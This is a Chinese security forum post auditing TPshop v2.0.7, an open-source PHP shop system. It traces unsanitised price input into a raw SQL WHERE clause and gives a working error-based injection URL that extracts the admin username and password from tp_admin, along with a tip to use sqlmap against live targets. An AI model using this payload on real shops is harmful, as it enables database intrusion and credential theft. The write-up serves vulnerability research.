[【通过】] [代码审计]TPshop v2.0.7 SQL注入漏洞

[复制链接]
Luckychen 发表于 2017-9-25 11:52:26 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 10

0x00 前言: 首先本地搭建环境,我所使用的是Windows PHPstudy集成环境。使用起来非常方便。特别是审计的时候。可以任意切换PHP版本。 0x01 简介:
TPshop开源商城系统( Thinkphp shop的简称 ),是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。基于ThinkPHP MVC构架开发的跨平台开源软件,设计得非常灵活,具有模块化架构体系和丰富的功能,易于与第三方应用系统无缝集成。
0x02 正文:
漏洞所在位置:/application/home/controller/Goods.php漏洞所在行数:20-23行漏洞影响程序:B2C、微商城分销、多商家(B2B2C)。估计开发者为了省事代码都是搬过去的。
<?php
/**
* 商品列表页
*/
public function goodsList(){
$key = md5($_SERVER['REQUEST_URI'].I('start_price').'_'.I('end_price'));
$html = S($key);
if(!empty($html))
{
return $html;
}
$filter_param = array(); // 帅选数组
$id = I('get.id/d',1); // 当前分类id
$brand_id = I('get.brand_id',0);
$spec = I('get.spec',0); // 规格
$attr = I('get.attr',''); // 属性
$sort = I('get.sort','goods_id'); // 排序
$sort_asc = I('get.sort_asc','asc'); // 排序
$price = I('get.price',''); // 价钱
$start_price = trim(I('post.start_price','0')); // 输入框价钱
$end_price = trim(I('post.end_price','0')); // 输入框价钱
if($start_price && $end_price) $price = $start_price.'-'.$end_price; // 如果输入框有
价钱 则使用输入框的价钱
$filter_param['id'] = $id; //加入帅选条件中
$brand_id && ($filter_param['brand_id'] = $brand_id); //加入帅选条件中
$spec && ($filter_param['spec'] = $spec); //加入帅选条件中
$attr && ($filter_param['attr'] = $attr); //加入帅选条件中
$price && ($filter_param['price'] = $price); //加入帅选条件中
$goodsLogic = new GoodsLogic(); // 前台商品操作逻辑类
// 分类菜单显示
$goodsCate = M('GoodsCategory')->where("id", $id)->find();// 当前分类
//($goodsCate['level'] == 1) &&
header('Location:'.U('Home/Channel/index',array('cat_id'=>$id))); //一级分类跳转至大分类馆
$cateArr = $goodsLogic->get_goods_cate($goodsCate);
// 帅选 品牌 规格 属性 价格
$cat_id_arr = getCatGrandson ($id);
$filter_goods_id = M('goods')->where(['is_on_sale'=>1,'cat_id'=>['in',implode(',',
$cat_id_arr)]])->cache(true)->getField("goods_id",true);
// 过滤帅选的结果集里面找商品
if($brand_id || $price)// 品牌或者价格
{
$goods_id_1 = $goodsLogic->getGoodsIdByBrandPrice($brand_id,$price); // 根据 品
牌 或者 价格范围 查找所有商品id
$filter_goods_id = array_intersect($filter_goods_id,$goods_id_1); // 获取多个帅选
条件的结果 的交集
}
/*...此处开始省略...*/
}
这里我就举个例子说一下,其实有非常多的地方都是存在一样的问题的。不过涉及到一些框架自带的安全性我这里也说不清楚,大家方便可以自行研究研究,我们这里说下20-23行接收的price参数。I()函数ThinkPHP5版本默认的变量修饰符是/s。可以看到上面id使用的是:参数/d。$price它这里是没有使用的,那么修饰符默认则为s。默认修饰符s的话基本上可以忽略掉。详情如下表所示:
TIM截图20170925115009.png
我们来跟踪$price在下面哪个地方使用了这个参数,可以看到第42行就已经判断了如果$brand_id或者$price都为真的话就进入下面的代码块。看到44行代码:
$goods_id_1 = $goodsLogic->getGoodsIdByBrandPrice($brand_id,$price);

上述代码是调用了GoodsLogic类里面的getGoodsIdByBrandPrice方法并且将$price给传入了进去。跟踪至getGoodsIdByBrandPrice方法里面看看它做了哪些操作。该类所在文件:/WWW/application/common/logic/GoodsLogic.php
<?php
/**
* @param $brand_id|帅选品牌id
* @param $price|帅选价格
* @return array|mixed
*/
function getGoodsIdByBrandPrice($brand_id, $price)
{
if (empty($brand_id) && empty($price))
return array();
$brand_select_goods=$price_select_goods=array();
if ($brand_id) // 品牌查询
{
$brand_id_arr = explode('_', $brand_id);
$brand_select_goods = M('goods')->whereIn('brand_id',$brand_id_arr,'or')-
>getField('goods_id', true);
}
if ($price)// 价格查询
{
$price = explode('-', $price);
$price_where=" shop_price >= $price[0] and shop_price <= $price[1] ";
$price_select_goods = M('goods')->where($price_where)->getField('goods_id',
true);
}
if($brand_select_goods && $price_select_goods)
$arr = array_intersect($brand_select_goods,$price_select_goods);
else
$arr = array_merge($brand_select_goods,$price_select_goods);
return $arr ? $arr : array();
}
直接看17-22行代码,主要的地方就是这5行代码。这里做的操作用口语化来表示就是将$price传过来的字符串转换成数组(这里是以-分割)。
由此可见该价格是一个区间值,比如1000-9000之间。最后$price则成了一个数组$price = array(0=>1000,1=>9000);到了20行就直接将值丢进了SQL语句中,也未做任何处理。
21行则直接将SQL语句执行。由此可见注入的产生是妥妥的了。
实际操作操作。http://192.168.31.29/index.php/h ... 123/price/1000-9000 and exp(~(select * from(SELECT distinct concat(0x23,user_name,0x3a,password,0x23) FROM tp_admin limit 0,1 )a))
TIM截图20170925115121.png
最后语句:SELECT `goods_id` FROM `tp_goods` WHERE ( shop_price >= 1000 and shop_price <= 9000 andexp(~(select * from( SELECT distinct concat(0x23,user_name,0x3a,password,0x23) FROM tp_admin limit 0,1 )a)))

这套程序中我本地的环境使用不了XPATH。但是在其它的环境中,是可以成功调用滴。随机应变用下就好了。备注:如果目标站未开启调试模式(一般正式上线都不会开启)那么直接使用payload的话是直接跳到404页面的。
这个时候就要拿出大SQLMAP出来跑了。

PS:本着以交流分享。如果有好的方法或者思路以及上文讲述不正确的地方欢迎指出。谢谢!如果有什么语句不通的话望指出。可能是在写文章的时候没太注意。



评分

参与人数 3酒票 +10 收起 理由
Bsmali4 + 2 原创内容
sco4x0 + 3 精品文章
管理05 + 5 欢迎加入90!

查看全部评分

Poacher 发表于 2017-9-26 15:30:57 | 显示全部楼层

正式成员|主题 |帖子 |积分 165

word锅,如果排版好点,那就更棒了!
sco4x0 发表于 2017-9-26 16:16:58 | 显示全部楼层

正式成员|主题 |帖子 |积分 130

哇,y1ng师傅
Bsmali4 发表于 2017-9-26 16:36:38 | 显示全部楼层

正式成员|主题 |帖子 |积分 393

欢迎加入90
百里长苏 发表于 2017-9-28 15:43:33 | 显示全部楼层

正式成员|主题 |帖子 |积分 144

还原新成员加入90sec大家庭。
快速回复 返回顶部 返回列表